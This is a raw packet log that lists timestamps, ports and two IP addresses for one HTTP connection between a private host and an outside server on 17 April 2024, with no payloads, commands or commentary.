Apr 17, 2024 06:57:10.396894932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396898985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396917105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396934032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396936893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396950006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396965981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396967888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396981955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396987915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397000074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397006989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397016048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397032022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397048950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397049904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397067070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397084951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397102118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397178888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397197008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397213936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397227049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397233009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397249937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397265911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397269011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397283077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397305012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397314072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397324085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397330999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397349119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397356987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397365093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397382975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397394896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397398949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397416115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397427082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397433043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397447109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397449970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397465944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397484064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397490025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397500038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397516966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397526026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397533894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397545099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397551060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397567987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397568941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397584915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397600889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397607088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397618055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397634983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397639990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397650957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397667885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397667885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397686958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397699118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397716045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397726059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397732019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397747993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397764921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397766113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397780895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397783995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397798061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397814989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397830009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397831917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397846937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397857904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397864103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397875071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397881985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397897959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397913933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397914886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397931099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397952080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397955894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397969007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.397975922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.397984982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398000956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398009062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398017883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398034096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398045063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398049116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398063898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398066044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398082972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398098946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398101091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398114920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398132086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398138046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398149014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398160934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398168087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398179054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398184061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398200989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398216963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398219109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398233891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398250103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398267984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398276091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398284912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398298979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398300886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398318052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398330927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398335934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398348093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398353100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398370028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398386002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398387909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398406029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398422956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.398430109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398448944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.398482084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399507999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399524927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399542093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399555922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399586916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399621964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399640083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399667978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399698019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399703026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399746895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399796963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399813890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399830103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399840117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399848938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399857998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399864912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399877071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399883032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399899006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399907112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399919987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399930000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399938107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399955034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399970055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399974108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.399986982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.399991989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.400010109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.400027037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.400028944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.400046110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.400062084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.400063038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.400095940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.400132895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.510757923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.717215061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835225105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835253000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835268974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835275888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835284948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835294008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835387945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835426092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835551023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.835551977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.835551977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.835551977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.835593939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835612059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835627079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835642099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.835674047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.835697889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.893729925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.893771887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.893809080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.893843889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.893878937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.893913031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.893928051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.893928051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.893929005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.893929005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.893929005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.893949986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.893986940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894005060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894005060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894021988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894045115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894058943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894068956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894092083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894119024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894126892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894139051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894161940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894179106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894197941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894217014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894229889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894247055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894264936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894277096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894299984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894316912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894335032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894351006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894367933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894386053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894404888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894424915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894444942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894470930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894479990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894511938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.894512892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894547939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.894582987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.952011108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.952053070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.952088118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.952192068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.952208042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.952208042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.952208042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.952294111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.952312946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.952348948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.952368021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.952384949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.952394009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.952418089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.952436924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.952460051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953396082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953432083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953447104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953468084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953500986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953505993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953538895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953567028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953659058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953696012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953711987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953731060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953751087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953766108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953787088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953804016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953809977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953840017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953852892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953876019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953923941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.953926086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953927040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.953978062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954070091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954103947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954119921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954139948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954158068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954173088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954209089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954209089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954230070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954243898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954279900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954291105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954310894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954323053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954355955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954407930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954444885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954468966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954479933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954510927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.954516888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954551935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.954588890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955220938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955257893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955276012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955310106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955363989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955395937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955416918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955430984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955439091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955466986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955480099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955502987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955522060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955535889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955559015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955570936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955576897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955605984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955624104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955641031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955657959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955674887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.955693960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.955735922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.956149101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.956186056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.956202984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.956221104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.956239939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.956253052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.956274033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.956296921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.956378937 CEST	80	49730	185.172.128.23	192.168.2.4
